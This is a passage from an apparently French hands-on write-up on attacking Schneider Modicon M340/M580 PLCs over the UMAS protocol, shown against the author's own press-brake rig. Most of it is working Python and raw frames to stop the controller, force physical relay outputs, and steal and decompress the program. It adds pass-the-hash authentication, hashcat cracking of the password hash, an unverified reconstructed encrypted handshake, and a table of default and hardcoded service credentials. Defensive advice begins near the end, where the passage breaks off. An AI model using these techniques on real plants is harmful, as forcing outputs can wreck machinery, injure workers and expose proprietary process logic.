req = bytes.fromhex("15000209010c00020007") # 0x50 : lis 2 octets @0x000c (un mot 16 bits)
_, _, d = umas(sess, 0x50, req) # sess = la session obtenue à la réservation
size = int.from_bytes(d[1:3], "little")
print("valeur =", d[3:3+size].hex()) # -> fbff (la valeur live de la variable)
Du coup, on peut faire quoi ?
Une fois la session en poche : tout.
STOP l’automate (arrêter la prod), un octet :
5A 19 41 FF00
Et hop, l’auto passe en STOP.
Forcer une sortie, genre allumer/éteindre un truc physique de force, peu importe ce que dit le programme. La commande 0x71 prend une adresse de sortie et un octet de commande :
0x03-> force à 10x02-> force à 00x04-> déforcer0x00-> reset
5A 19 71 04000000030001200201 0012 0001000000 03
^ ^
la sortie 0x12 force à 1

En Python, ces deux-là se construisent en quelques lignes (toujours avec le helper umas() du dessus) :
umas(sess, 0x41, b"\xff\x00") # STOP l'automate (DESTRUCTIF)
def force(session, off, cmd): # cmd : 0x03=à 1, 0x02=à 0, 0x04=déforce, 0x00=reset
data = bytes.fromhex("04000000030001200201") + bytes([0, off]) \
+ bytes.fromhex("0001000000") + bytes([cmd])
return umas(session, 0x71, data)
force(sess, 0x12, 0x03) # force la sortie 0x12 à 1 (DESTRUCTIF)
Tu changes un seul octet (le dernier) et tu passes de « force à 1 » à « force à 0 ». Dans mes captures, j’ai forcé les sorties 16 à 22 (offsets 0x10-0x16). En croisant avec la config du rack, ce sont des sorties physiques du module BMX DDM 16025 (un module mixte 8 entrées / 8 sorties relais TOR).
Et si on veut relire juste après avec 0x70, tu vois l’octet d’état confirmer ton forçage à la borne près :
def lire_sortie(offset): # relit l'état d'UNE sortie (session 0x00)
_, _, d = umas(0x00, 0x70, io_pane(0x02, offset, 1))
return d[6 + 2] # l'octet d'état de la voie
force(sess, 0x10, 0x03); print(hex(lire_sortie(0x10))) # force à 1 -> 0x05 ou 0x07 (forcé + image)
force(sess, 0x10, 0x02); print(hex(lire_sortie(0x10))) # force à 0 -> 0x04 ou 0x06 (forcé)
force(sess, 0x10, 0x04) # déforce -> la main revient au programme
La séquence force puis relecture, c’est la preuve que la commande a mordu : le bit2 (forcé) s’allume, et le bit0 (image) suit ta consigne. Le bit1 (live), lui, reflète l’état physique du relais au moment de la lecture : si le programme pilotait déjà la sortie (relais excité), tu verras 0x07 / 0x04 ; si la sortie était au repos, plutôt 0x05 / 0x06. Dans les deux cas, le bit force est bien levé.
Pour une démo qui claque : le chenillard. Forcer une sortie c’est bien, les faire bouger c’est mieux. On force chaque sortie à tour de rôle, et une LED se balade le long du module :
import time
outs = list(range(0x10, 0x17)) # les sorties 16 à 22
for off in outs + outs[::-1]: # un aller-retour
force(sess, off, 0x03) # allume cette sortie
time.sleep(0.3)
force(sess, off, 0x04) # puis on déforce -> effet "chenillard"
La session sess et le helper force() viennent d’avant. Pense juste à déforcer tout et libérer la session en sortant, sinon l’automate reste coincé sur tes forçages.
Et sur ma vraie maquette, ça donne quoi ?

Toute cette théorie, une fois digérée, je l’ai recompilée en un petit script maison pointé sur ma presse plieuse. Le principe est exactement celui du dessus : je réserve l’automate, puis je force ses sorties une à une pour faire bouger la bête dans tous les sens, sans jamais toucher au programme qui tourne dedans.
Mon script force les sorties à distance : la presse part dans tous les sens.
Outre le côté « impressionnant » de cette énorme plieuse qui part en cacahuète, on peut aussi imaginer des scénarios plus discrets : de petits changements, du type mauvaise prise de pièce ou décalage dans le cycle, qui peuvent finir en casse.
Un simple décalage dans le cycle, et la pièce casse.
Le moment de voler le programme en 3 lignes de Python

Quand on télécharge le programme depuis l’auto (fonction 0x34), on récupère une image binaire (~100 Ko, le format Schneider APX).
D’abord, comment on la récupère, cette image ? On ouvre l’upload avec 0x33, on tire les blocs un par un avec 0x34 (en incrémentant le numéro de bloc), et on referme avec 0x35. Chaque réponse 0x34 porte un petit en-tête [flag dernier-bloc 2o][longueur 2o] suivi des données du bloc, et c’est ce flag (à 0 sur les blocs courants, non nul sur le dernier) qui dit quand s’arrêter. Toujours avec le helper umas() et la session réservée sess :
# aspirer le programme : transfert 0x33 (init) -> 0x34 (bloc par bloc) -> 0x35 (fin)
umas(sess, 0x33, bytes.fromhex("0001fd03")) # on ouvre le transfert (upload)
image, blk = b"", 1
while True:
_, _, d = umas(sess, 0x34, bytes.fromhex("0001") + blk.to_bytes(2, "little")) # demande le bloc n°blk
dernier = d[0:2] != b"\x00\x00" # réponse : [flag dernier-bloc 2o][longueur 2o][données]
n = int.from_bytes(d[2:4], "little") # longueur des données du bloc
image += d[4:4+n] # on empile le morceau
if dernier: # bloc final marqué -> on sort
break
blk += 1
umas(sess, 0x35, bytes.fromhex("0001")) # on referme le transfert
# image = les ~100 Ko de l'APX, prêts à décompresser
Deux points de robustesse pour que ça marche vraiment sur une cible différente. D’abord, un bloc peut dépasser 512 octets et être découpé sur plusieurs segments TCP : le umas() minimaliste du début (un seul recv(512)) ne suffit plus ici, il faut lire l’en-tête MBAP, récupérer le champ Longueur, et lire exactement ce nombre d’octets, sinon tu empiles des blocs tronqués. Ensuite, l’offset du flux zlib (le 99279 du bout de code suivant) est propre à mon image : ne le code pas en dur, scanne plutôt image à la recherche des magic zlib (78 9c, 78 01, 78 da) et décompresse chaque flux (dans ma capture, ça donne une quinzaine de flux, dont un <?xml …><Diagnostic> en clair d’entrée de jeu). Les valeurs 0001/fd03 de l’init, elles, sont constantes (identiques dans mes deux captures, quelle que soit la session), donc reproductibles telles quelles.
Écrire un programme dans l’auto, c’est le miroir (0x30 init, 0x31 par blocs, 0x32 fin) : c’est comme ça qu’un attaquant réinjecterait une logique modifiée. Nuance importante côté reproductibilité : en lecture, les blocs sont numérotés de 1 à N en continu (simple boucle) ; en écriture, ce sont les blocs du programme précis qu’on pousse, avec des index parfois espacés, donc ça ne se « rejoue » pas de façon générique. Mais restons côté lecture, c’est déjà bien assez parlant.
Une fois image en main, la vraie surprise. Tu te dis « ok c’est compilé, c’est chiffré, j’y verrai rien ». Bah non. L’image APX, c’est un conteneur de flux zlib. Pas chiffré. Juste compressé. (Attention, ça c’est le dump réseau d’un automate en marche. Le cas où le fichier projet est vraiment protégé, voire chiffré, par un mot de passe, on le verra plus bas, et il y en a même plusieurs sortes.)
Donc tu prends l’image, tu décompresses un flux, et… tu tombes sur le code source du programme. En clair. Sans aucun outil Schneider :
import zlib
out = zlib.decompress(image[99279:])
print(out)
Et ça crache :
IF wAtkBits.15 THEN
Q1 := wAtkBits.0;
Q2 := wAtkBits.1;
Q3 := wAtkBits.2;
Q4 := wAtkBits.3;
END_IF;
Du Texte Structuré, lisible, avec les noms de variables. En décompressant tous les flux, j’ai récupéré le programme complet (oui, bon j’ai fait le programme moi donc j’ai rien appris de nouveau): un Grafcet (la machine à états de la presse plieuse), des sections Ladder, du Texte Structuré, les symboles, la config matérielle… et même, en clair sur le réseau, le chemin du fichier projet :
C:\Users\yoyo\Desktop\bending_machine_v3_180526.STU
Au passage, sans rien émettre, la capture crache aussi le nom du PC d’ingénierie (BOOK-1O96RBKNNR, du Windows par défaut dans toute sa splendeur) et le fait que le projet vit sur le Bureau, comme chez nous tous. Et c’est là tout l’enjeu sur une cible réelle : une simple écoute passive du réseau suffit à récupérer le nom de la machine d’ingénierie, l’arborescence du projet et, avec les sources, tout le savoir-faire.
Piège de vocabulaire (upload vs download). Les étiquettes Upload/Download sont un vrai bourbier : elles sont inversées entre le logiciel et le protocole, et (pire) les chercheurs ne les nomment même pas pareil. Le seul truc fiable, c’est le sens des octets, que j’ai vérifié : ce que Control Expert appelle Upload (« lire depuis l’automate ») utilise les fonctions
0x33/0x34/0x35, et son Download (« écrire dans l’automate ») les0x30/0x31/0x32.0x34ramène bien les données de l’automate vers le PC. Ne te fais pas avoir par les étiquettes.En vrai, la mécanique est logique une fois qu’on la voit : chaque transfert est un triplet début -> blocs -> fin,
0x30puis0x31(répété par blocs) puis0x32dans un sens,0x33puis0x34(répété) puis0x35dans l’autre. Dans mes deux captures, je retrouve exactement ça :0x30, quatre-vingt-neuf0x31,0x32(un download vers l’auto), et0x33, cent-deux0x34,0x35(l’upload du programme que je récupère). Ce sont donc bien les nomsINITIALIZE_UPLOAD/DOWNLOAD_BLOCKqui partent en vrille selon la source (le dissecteur Wireshark colle même « upload » et « download » dans le même triplet, et duplique une étiquette par copier-coller), pas la logique des octets.
Et les mots de passe alors ? (parce qu’il y en a)
Bonne question, et c’est LE piège du sujet. On entend « le programme est protégé par mot de passe » et on imagine un gros verrou unique. En vrai il y a plusieurs mots de passe qui n’ont rien à voir entre eux, et le plus simple pour s’y retrouver, ce n’est pas de les lister, c’est de se demander ce que tu veux faire. Selon l’objectif, le mot de passe qui te bloque change, et souvent il n’y en a aucun.
| Ton objectif | Ce qui te bloque (ou pas) |
|---|---|
| Piloter le PLC (STOP, forçage, reprogrammer) | le mot de passe applicatif, et il est contournable |
| Lire / voler le code | rien sur le réseau (le programme n’est jamais chiffré) ; une « protection de sections » existe, mais c’est du carton |
| Toucher aux services (FTP, web, flash firmware) | les comptes de service d’usine, une autre surface, dont certains codés en dur |
Le seul qui garde vraiment l’automate, c’est le premier : le mot de passe applicatif. Et le truc contre-intuitif, celui qui fait tout : ce n’est pas un secret propre au PLC, c’est une propriété du projet. Le même mot de passe ouvre le projet dans Control Expert et autorise la connexion à l’automate. Autrement dit, si tu mets la main sur le fichier projet (.STU) réellement chargé sur la cible et que tu casses son mot de passe, tu tiens aussi la clé du PLC. Fichier local et automate partagent une seule et même serrure. Retiens ça, c’est le cœur de la partie : on la creuse d’abord, on balaiera les autres serrures (protection de sections, chiffrement de fichier, comptes de service) ensuite, là où elles comptent.
Concrètement, pour l’objectif qui compte (piloter), voilà comment tu décroches une session d’écriture, du cas le plus courant au plus dur. On détaille chaque ligne juste après.
| Ce que tu as en face | Comment tu te connectes |
|---|---|
| Pas de mot de passe applicatif (le défaut, l’immense majorité) | Tu réserves avec un nom bidon, session en poche, tu fais tout. Zéro auth. |
| Mdp applicatif, firmware vulnérable (le gros du parc installé) | Pass-the-hash : tu voles pwdhash sur le réseau (bloc 0x14, ou capturé dans un transfert de projet) et tu le rejoues. Sans jamais connaître le mot de passe. |
Mdp applicatif, mais tu as le .STU de la cible | Le fichier te donne pwdhash : gratos s’il n’est pas chiffré (le défaut), sinon il faut d’abord défaire le chiffrement de fichier. Ensuite tu le rejoues en pass-the-hash (ça marche même firmware à jour), ou tu le crackes pour le mot de passe en clair. |
| Mdp applicatif, firmware à jour, aucun fichier, mot de passe fort | Là, enfin, ça tient : ni vol du hash sur le réseau (canal chiffré, 0x14 fermé), ni crack (pas de hash sous la main). Il te reste le social (SHIFT+F2, usurper la preuve de propriété auprès du support). |
Le mot de passe applicatif à l’octet (et pourquoi il ne te sauve pas)
Creusons-le. Schneider écrit noir sur blanc, dans sa doc « Setting Passwords », que le même mot de passe sert à « Open the application » ET « Connect to the PAC » : l’automate n’a aucun secret de programmation propre à lui. Reste à voir comment il vérifie ce mot de passe, et c’est ce détail qui casse tout. Quand le mot de passe applicatif est activé, tu imagines un vrai login. Non, tout le calcul se fait sur le PC, l’automate ne fait que comparer un hash.
Le PLC garde deux chaînes base64 dans le bloc mémoire 0x14 :
pwdsalt= 16 octets aléatoirespwdhash = SHA256(pwdsalt || motdepasse), et le mot de passe en clair n’est jamais ni stocké ni envoyé
(Précision de firmware : ce SHA256 salé « propre » vaut pour l’Application Password moderne, à partir du firmware v3.01 ; avant, le mécanisme de protection était plus faible, cf. CVE-2020-28212.)
Une réservation authentifiée, c’est trois temps :
1. 0x20 ReadMemoryBlock(0x14) -> pwdsalt (+ pwdhash avant firmware 3.50) [AUCUNE auth]
2. 0x6E échange de nonces -> le PC envoie Nonce_PC, le PLC rend Nonce_PLC (32 o chacun, en clair)
3. 0x10 TryReserve(auth_secret) -> le PLC compare, rend la clé de session (1 octet)
Et le secret de l’étape 3, à l’octet près, reproductible en Python trivialement :
import hashlib, base64
def auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc): # ce que Control Expert calcule
blob = (nonce_plc
+ base64.b64encode(pwdsalt) + b"\r\n"
+ base64.b64encode(pwdhash) + b"\r\n"
+ nonce_pc)
return hashlib.sha256(blob).digest() # -> à renvoyer dans le 0x10
Le hic ? Le seul secret là-dedans, c’est pwdhash, pas le mot de passe. Et pwdhash vivait dans le bloc 0x14, que le 0x20 ReadMemoryBlock rend sans s’authentifier. D’où deux angles :
- En ligne, même pas besoin de deviner. Tu lis
pwdsalt/pwdhashen0x20, tu sniffes les deux nonces (en clair), tu recalculesauth_secret, tu le renvoies en0x10, et tu réserves sans jamais connaître le mot de passe. Pass-the-hash. C’est ModiPwn (CVE-2021-22779). - Hors ligne, si tu veux le vrai mot de passe (pour ouvrir Control Expert, par exemple). Comme
pwdhash = SHA256(pwdsalt || pwd)est un SHA-256 d’un seul tour à sel connu, tu le crackes à la wordlist en local :
for mot in open("rockyou.txt", "rb"): # crack offline, une fois pwdsalt/pwdhash volés
mot = mot.strip()
if hashlib.sha256(pwdsalt + mot).digest() == pwdhash:
print("mot de passe =", mot.decode()); break
Et comme c’est un SHA-256 salé des plus standards, un hashcat fait le même boulot. Le sel étant en préfixe (SHA256(salt || pass)), c’est le mode 1420. Et comme il fait 16 octets binaires (il circule en base64 dans le bloc 0x14, à décoder puis ré-encoder en hex), il faut l’option --hex-salt :
# hash.txt : une ligne pwdhash_hex:pwdsalt_hex (64 caractères hex : 32 caractères hex)
hashcat -m 1420 --hex-salt hash.txt rockyou.txt
Chaque durcissement de firmware ferme une porte. Piège de nommage, ces numéros sont côté M340, le M580 a sa propre numérotation, d’où les deux colonnes (Kaspersky, avis SEVD-2021-194-01) :
| Ce qui se ferme | M340 | M580 |
|---|---|---|
Vol de pwdhash en 0x14 non authentifié (ModiPwn) | v3.50 | SV4.10 |
Nonces 0x6E chiffrés (Diffie-Hellman + AES-256), fini le sniff passif | v3.60 | SV4.10 |
Corollaire qu’on retrouve en défense : le M580 n’a pas de v3.60, sa branche v3.x s’arrête à v3.30 (non sécurisée). Un M580 trop vieux pour passer en v4 reste donc sans jamais ce durcissement.
Sauf que (twist 2024, Zaltzman & Wool à Black Hat EU, démontré sur M340), même patché, le pass-the-hash revient : pwdsalt/pwdhash re-transitent (base64) à chaque upload/download de projet, donc tu captures un transfert de programme, tu récupères le hash, et tu réserves de nouveau sans le mot de passe (CVE-2024-8933). Et le Diffie-Hellman de la 3.60 n’étant pas authentifié, un MITM (ARP spoofing) récupère aussi les nonces (CVE-2024-8935).
Puis en 2026 : ces deux failles ont fini par être corrigées (révision Schneider SEVD-2024-317-02 d’avril 2026, M340 en SV3.70 et Control Expert en V16.2 HF003 ; le Modicon MC80, lui, reste non corrigé). Donc en théorie, sur un automate à jour, mot de passe applicatif activé et canal chiffré, l’attaquant purement passif est bloqué. En théorie. Parce qu’un PLC vit dix, quinze, vingt ans sur une ligne de prod et n’est quasiment jamais mis à jour : l’écrasante majorité du parc installé tourne encore sur des firmwares vulnérables, patch disponible ou pas. Le correctif existe, il n’est simplement pas déployé, quand il n’est pas carrément inexistant (beaucoup de ces défauts sont insecure-by-design, sans correctif du tout).
Et même à jour, la porte ne se referme jamais tout à fait, et c’est un défaut de conception, pas un bug : la réservation valide une preuve de connaissance du pwdhash, calculée côté client (Zaltzman & Wool, textuellement : « regardless of the firmware version »). Le PLC ne stocke que le hash, il est donc incapable de distinguer « connaît le mot de passe » de « connaît le hash ». Les correctifs 2024/2026 ferment les moyens de voler le hash sur le fil (transfert de projet, MITM), pas le fait de rejouer un hash qu’on détient déjà. Donc si tu te procures le pwdhash autrement (un .STU de la cible qui a fuité, un vieux firmware qui traîne), tu réserves même un automate patché, sans même le cracker.
Et concrètement, avec le mot de passe en poche ?
Admettons le cas « propre » : un automate à jour, mot de passe applicatif activé, et tu as le mot de passe (le vrai, ou celui que tu viens de cracker offline). Note que le handshake chiffré ci-dessous a été reversé sur M340 (v3.60) ; le M580 durcit son auth sur sa ligne v4.x (SV4.10), analogue mais non publiquement décortiquée. La réservation authentifiée se scripte comme le reste, on rejoue juste le handshake complet. Voici la reconstruction du flux d’après les formules publiées par Zaltzman & Wool à Black Hat EU 2024 (je ne l’ai pas testée en live, et c’est bien une reconstruction : les auteurs, comme Tenable, ont gardé leur PoC pour eux, il n’existe aucun code public complet pour la partie authentifiée) :
import os, hashlib # auth_secret() et le helper umas() viennent d'au-dessus
MDP = b"le_mot_de_passe" # connu, ou récupéré par le crack offline du dessus
# 1. lire le sel dans le bloc mémoire 0x14 (0x20 ReadMemoryBlock) et recalculer le hash soi-même
_, _, blk = umas(0x00, 0x20, req_lecture_bloc(0x14))
pwdsalt = extraire_pwdsalt(blk) # 16 octets (décodés du base64 du bloc)
pwdhash = hashlib.sha256(pwdsalt + MDP).digest()
# 2. échange de nonces (0x6E) : on envoie le nôtre, le PLC renvoie le sien
nonce_pc = os.urandom(32)
_, _, r = umas(0x00, 0x6E, nonce_pc)
nonce_plc = r[:32]
# 3. on calcule auth_secret et on réserve (0x10) avec
secret = auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc)
_, _, d = umas(0x00, 0x10, req_reservation(secret))
print("session authentifiée =", hex(d[-1]))
À partir de la 3.60 (M340) ou de la ligne v4 (M580), ce 0x6E se blinde : un Diffie-Hellman établit une clé, et les nonces transitent chiffrés en AES-256. Sauf que mon automate à moi est bien trop vieux pour ce firmware, et il ne peut même pas être mis à jour (le piège matériel PV ≤ 3, détaillé plus bas). Je n’ai donc aucun moyen de tester cette partie sur du vrai matériel : ce qui suit, c’est ma reconstitution d’après les formules publiées (Zaltzman & Wool), et grandement assisté par mon ami Claude, et honnêtement je doute que ce soit exactement ça. À prendre comme une piste de départ (pour du fuzzing), pas comme une vérité :
import os, hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
# Diffie-Hellman : groupe RFC 3526 nº14 (MODP 2048 bits), générateur g = 2
G = 2
P = int("FFFFFFFFFFFFFFFFC90FDAA22168C234...FFFFFFFFFFFFFFFF", 16) # le premier du group 14 (voir RFC 3526)
# 1er aller-retour (Mode 0x03) : on échange les clés publiques DH, 256 octets chacune
a = int.from_bytes(os.urandom(32), "big")
A = pow(G, a, P).to_bytes(256, "big") # notre clé publique g^a
_, _, r = umas(0x00, 0x6E, b"\x03" + reserver_id + A)
dh_pub_plc = r[2:2+256] # celle du PLC (après le magic 0xAAAA)
dh_shared = pow(int.from_bytes(dh_pub_plc, "big"), a, P).to_bytes(256, "big")
# on dérive la clé AES-256 et on prépare le chiffrement (AES-256-CBC, IV nul, 32 o = 2 blocs, sans padding)
aes_salt = os.urandom(16)
aes_secret = hashlib.sha256(aes_salt + dh_shared).digest() # SHA256(salt || secret partagé) = clé AES
def aes(data, sens):
c = Cipher(algorithms.AES(aes_secret), modes.CBC(b"\x00"*16))
x = c.encryptor() if sens == "enc" else c.decryptor()
return x.update(data) + x.finalize()
# 2e aller-retour (Mode 0x04) : nonces chiffrés
nonce_pc = os.urandom(32)
_, _, r = umas(0x00, 0x6E, b"\x04" + reserver_id + aes(nonce_pc, "enc") + aes_salt)
nonce_plc = aes(r[2:2+32], "dec")
# à partir de là, même auth_secret qu'avant, puis TryReserve 0x10
secret = auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc)
_, _, d = umas(0x00, 0x10, req_reservation(secret.hex().encode())) # a priori le digest en hex ASCII (64 o)
print("session authentifiée =", hex(d[-1]))
Et franchement, plein de détails là-dedans peuvent être faux (l’encodage exact de l’auth_secret, le padding, la longueur du secret DH…) : faute de matériel compatible, je n’ai rien pu vérifier. Le truc à retenir, ce n’est pas le code au bit près, c’est que sur un automate vraiment à jour, connaître le mot de passe ne suffit plus à copier-coller un PoC : il faut refaire ce handshake chiffré soi-même. C’est là que la mise à jour et le mot de passe fort commencent enfin à payer.
Et si le programme a un mot de passe ? (lire/voler le code)
Excellente question, et pour y répondre il faut séparer deux choses qu’on mélange sans arrêt : l’accès (ai-je le droit de lancer le transfert ?) et le chiffrement (ce qui sort est-il illisible ?). La réponse courte, vérifiée chez Zaltzman & Wool et Kaspersky : sur le fil, le programme UMAS n’est jamais chiffré, seulement compressé, quel que soit le firmware. Le mot de passe applicatif, lui, est une serrure d’accès (et contournable), pas un chiffrement du transport. Ça se joue à deux endroits : sur le réseau, ou sur un fichier qui traîne.
Depuis le réseau, c’est plié. Sans mot de passe applicatif (le défaut, hyper courant), tu réserves, tu uploades, tu récupères l’APX en clair-compressé, exactement comme le script plus haut, zéro mot de passe. Avec mot de passe applicatif activé, l’upload devient une fonction réservée, mais ça ne te sauve pas : d’un, le mot de passe ne chiffre rien (le programme revient en clair-compressé même authentifié) ; de deux, la réservation est contournable (pass-the-hash / ModiPwn, vu plus haut), donc on aspire souvent le programme sans même connaître le mot de passe. Dump réseau = zéro mot de passe à casser et zéro chiffrement à défaire.
La nuance qui compte (dump ≠ toujours les sources). L’automate garde toujours le compilé et la config. Pour reconstruire un
.STUpropre (commentaires, symboles, structure des sections), il faut avoir coché « Upload Information » au download. Si ça a été désactivé, ton upload te rend la logique qui tourne mais pas un projet source complet. Dans ma capture, tout était là, commentaires compris.
Le seul cas où il faut vraiment « casser », c’est un fichier projet local. On te file un .STU/.STA verrouillé, sans l’automate. Et là encore, c’est mou du genou :
- L’export délave la protection (Control Expert ≤ V15.0) : une fois le projet ouvert légitimement, un export
.XEF/.ZEFen produit une copie sans aucun mot de passe (FAQ Schneider FAQ000239357), rediffusable en clair. Affaiblissement, pas contournement d’ouverture. - Le fichier contient le hash de l’applicatif (A). Un
.STUnon chiffré porte le couplepwdsalt+pwdhash = SHA256(pwdsalt || mdp), le même binaire APX que sur l’automate (Kaspersky KLCERT-21-007). Pas le mot de passe en clair (jamais stocké), mais son hash, que tu craques à la wordlist (hashcat-m 1420) ou rejoues en pass-the-hash. Et comme cet applicatif ouvre aussi le PLC, un.STUqui traîne = de quoi piloter l’automate. Seule condition, que ce soit le.STUdu projet réellement chargé sur la cible (un programme fait dans ton coin ne contient pas le secret de la cible). Le sel est aléatoire par projet, donc pas de rainbow table universelle, au contraire du M221 ci-dessous. - La protection de sections est du carton. L’option Crypted qui masque des sections de code repose sur un hash maison : sortie limitée à
A-Z/0-9, collisions à gogo. Tenable montre queacq,asq,isyetqsqdonnent tous5DF. Pas besoin du vrai mot de passe, t’en trouves un qui collisionne en un clin d’œil. Mais rappelle-toi : ça ne masquait que l’affichage du code, jamais la connexion au PLC. - Le vrai chiffrement, lui, est optionnel et hors réseau. Par défaut, un projet « protégé » n’est même pas chiffré, juste obfusqué. Le seul vrai chiffrement, c’est l’option File encryption (V15 SP1+) : elle chiffre le
.STUau repos en AES-256, avec un mot de passe cryptographiquement distinct de l’applicatif (son propre sel, son propre hash dans l’APX, confirmé par Zaltzman & Wool). Deux limites : désactivée par défaut, et elle ne protège rien sur le réseau (même projet chiffré sur le PC, l’UMAS transite en clair). Mais elle a une vraie utilité, souvent ratée : un.STUchiffré qui fuite ne livre paspwdhash(il est sous l’AES), donc pas la clé du PLC. - CVE-2023-6409 : identifiants en dur permettant d’accéder à un projet protégé par mot de passe applicatif (Control Expert < v16.0).
- Le « mot de passe perdu » façon Schneider : à l’invite de mot de passe, tu presses
SHIFT+F2, une chaîne alphanumérique s’affiche (procédure officielle). Tu la recopies dans un formulaire, tu l’envoies au support Schneider, qui te renvoie sous ~24 h un mot de passe temporaire (valable tant que l’appli n’est pas modifiée). Peut-on être malveillant avec ? Oui, mais sous conditions : il faut déjà avoir le fichier projet en main (le code affiché lui est propre, ça n’ouvre aucun accès distant à l’automate), et surtout tromper le support en usurpant la « preuve de propriété » (purement déclarative : un en-tête et une signature se falsifient trivialement). À retenir : l’existence même de cette procédure de récupération implique que le mot de passe applicatif est récupérable par conception, ce qui le rapproche d’une obfuscation réversible plus que d’un secret cryptographique.
Patché ? Pas vraiment : chiffrer le fichier existe depuis V15 SP1 mais reste optionnel, et un mot de passe cracké depuis un fichier que tu possèdes, aucun firmware ne te l’enlève. La vraie défense est organisationnelle : mot de passe long et unique, chiffrement de fichier activé, et ne pas laisser traîner ses .STU.
Un cas à part, à ne pas mélanger : le M221. Sur cette gamme (SoMachine Basic, aujourd’hui EcoStruxure Machine Expert Basic), le modèle diffère. Côté accès à l’automate, deux mots de passe séparés, un en lecture (upload) et un en écriture (download) (Trustwave SpiderLabs), là où Control Expert n’en a qu’un. Côté fichier, le
.smbpest réellement chiffré (AES-256), mais mal : jadis avec une clé codée en dur (CVE-2017-7574), aujourd’hui avec une clé égale à ton mot de passe répété jusqu’à 32 octets et un sel codé en dur sur le hash (CVE-2020-28214). Bref, crack 100 % hors ligne depuis le fichier, alors que le déverrouillage réseau tient sur ~65 000 combinaisons (CVE-2020-7566). On ne rentrera pas dans les détails ici ; le reverse pas à pas est raconté par biero-llagas.
Les comptes de service par défaut (l’autre surface)
Dernière famille, la plus bête : les comptes d’usine des services (web, FTP, flash firmware), publics et documentés par Schneider. Ils ne pilotent pas le procédé, mais ce sont d’autres portes vers l’équipement, à fermer aussi. Le plus célèbre, datadownload : le mot de passe du compte FTP datastorage (stockage carte SD) sur M340 et M580 sous Control Expert, codé en dur et qui n’était pas modifiable avant (FAQ FA231327). Deux pièges : ne pas le coller à la mauvaise gamme (sur M241/M251, le FTP par défaut est Anonymous/Anonymous, pas datadownload), et savoir que « non modifiable » n’est pas éternel (sur M580, le FTP disparaît au profit du HTTPS dès le firmware v4.10).
Petit tour des principales gammes (astuce : sur M340, Premium, Quantum et Momentum, ces comptes viennent du module Ethernet FactoryCast, partagé d’une gamme à l’autre) :
| Gamme (logiciel) | Comptes par défaut connus | À savoir |
|---|---|---|
| M340 (Control Expert), via FactoryCast BMX NOE | USER/USER (web), sysdiag/factorycast@schneider et ntpupdate/ntpupdate (FTP), loader/fwdownload (flash) | comptes système FactoryCast figés ; mot de passe projet vide par défaut |
| M580 (Control Expert) | webuser/webuser (web CPU, changement forcé ≥ v4.02), admin/factorycast (modules BMENOC), datastorage/datadownload (FTP SD, < v4.10), loader/fwdownload (flash) | mot de passe projet vide par défaut |
| M221 (Machine Expert Basic) | pas de web/FTP ; mot de passe appli désactivé par défaut | avant firmware v1.5/1.6, le mdp appli se récupère en Modbus et le fichier se déchiffre via une clé AES en dur SoMachineBasic… (CVE-2017-7575 + CVE-2017-7574) |
| M241 / M251 (Machine Expert) | Administrator/Administrator (changement forcé) ; FTP Anonymous/Anonymous en legacy | User Rights impose un compte dès le reset |
| Quantum / Premium (Unity), via FactoryCast / NOE | USER/USER, sysdiag/factorycast@schneider, ntpupdate/ntpupdate ; Quantum : backdoors VxWorks en dur (ftpuser/password…) | Quantum = Project Basecamp (Digital Bond, 2012) |
| Momentum (adaptateur ENT) | USER/USER, ntpupdate/ntpupdate | base FactoryCast |
Le point à retenir n’est pas la liste (pour ça, arnaudsoullie/ics-default-passwords et les FAQ se.com font le taf), c’est la hiérarchie : le vrai danger n’est pas webuser/webuser (modifiable, changement forcé aujourd’hui), c’est le mot de passe projet vide par défaut sur toute la gamme Control Expert, et les comptes en dur (sysdiag, loader/fwdownload, backdoors VxWorks du Quantum) qui, eux, ne se changent jamais.
Bon, et on se défend comment ?
Concrètement, attaque par attaque, ce qui m’aurait bloqué, avec les fonctions natives Schneider qui vont avec.
- Chiffrer/authentifier le canal, la seule vraie parade au sniff + rejeu. Toute mon attaque part d’une écoute passive : tant que l’UMAS circule en clair sur le
502, je recopie tout. La réponse Schneider, c’est IPsec (ESP : confidentialité + intégrité + anti-rejeu + authentification d’origine). Nuance que beaucoup ratent : sur M580, IPsec n’est pas dans le port du CPU, il est porté par le module de comm Ethernet BMENOC0301/0311 (ou le module OPC UA BMENUA0100 côté Safety), et il faut faire transiter le trafic d’ingénierie par ce module. Bien fait, ça tue mon attaque : plus de sniff en clair, plus de rejeu de ma trame0x10. (À ne pas confondre avec le Modbus/802 vu plus haut, le TLS standard sur port 802, que Schneider ne déploie pas ici.) - Pousse au Modbus sécurisé (la parade standard existe). Pour du Modbus « nu », c’est Modbus/TCP Security (Modbus Organization, 2018) : TLS, certificats X.509 des deux côtés et autorisation par rôle, sur le port 802. Côté Schneider, la réponse est réelle et documentée aussi (IPsec via BMENOC, Application Password, firmwares v4 durcis). Bref, le problème n’est pas l’absence de solution, c’est le déploiement : ces mécanismes restent sous-utilisés, alors que les activer (ou l’exiger de ton intégrateur) élimine l’essentiel de ce que je montre ici.
- Access Control (whitelist d’IP) : restreindre qui a le droit de parler au
502. Control Expert offre, nativement sur le port du CPU, une table d’Access Control : tu autorises une IP ou un sous-réseau par service (colonnes FTP, TFTP, HTTP, Port502 (Modbus), EIP, SNMP). Mon PC d’attaque hors liste, et le CPU refuse la connexion TCP au502, pas de réservation possible. Le préréglage « Enforce Security » l’active d’un coup (et coupe FTP/TFTP/HTTP/SNMP/EIP, active la protection mémoire, le logging…). ⚠️ Deux limites à assumer. L’ACL filtre par IP source, et sur un segment plat (un réseau OT tel qu’on en voit souvent : tout le monde sur le même sous-réseau, sans VLAN ni pare-feu entre les machines), rien n’empêche un attaquant déjà présent d’usurper l’IP de la station d’ingénierie autorisée : il forge l’IP source de ses paquets, et via de l’ARP spoofing il détourne aussi les réponses vers lui. Le filtre par IP tombe. Et de toute façon, l’ACL n’empêche pas le sniff. - Segmente : le
